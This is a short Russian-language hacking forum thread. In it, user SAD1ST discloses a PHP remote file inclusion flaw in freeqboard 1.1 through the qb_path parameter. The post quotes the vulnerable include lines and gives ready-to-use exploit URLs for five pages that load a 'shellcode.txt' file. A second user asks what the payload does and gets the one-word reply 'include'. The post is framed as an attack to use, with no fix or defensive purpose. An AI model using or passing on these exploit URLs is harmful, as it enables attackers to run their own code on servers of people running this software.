Web freeqboard 1.1 - php include

[SAD1ST]

Найдена уязвимость в freeqboard 1.1 (qb_path).

Уязвимые версии: 1.1

Инклуд возможен на страницах:
about.php , contact.php , delete.php , faq.php , index.php

Код бага:

include "config.php";
include $qb_path."incs/mysql.php";

Пример:

www.site.com/[path]/index.php?qb_path=shellcode.txt?

www.site.com/[path]/faq.php?qb_path=shellcode.txt?

www.site.com/[path]/delete.php?qb_path=shellcode.txt?

www.site.com/[path]/contact.php?qb_path=shellcode.txt?

www.site.com/[path]/about.php?qb_path=shellcode.txt?

 

[Dima-ch]

Я- ламер...Что произойдет , когда мы это пропишем ? :baby:\

И что за freeqboard 1.1 я такого даже в Яндексе не нашел..

 

[SAD1ST]

include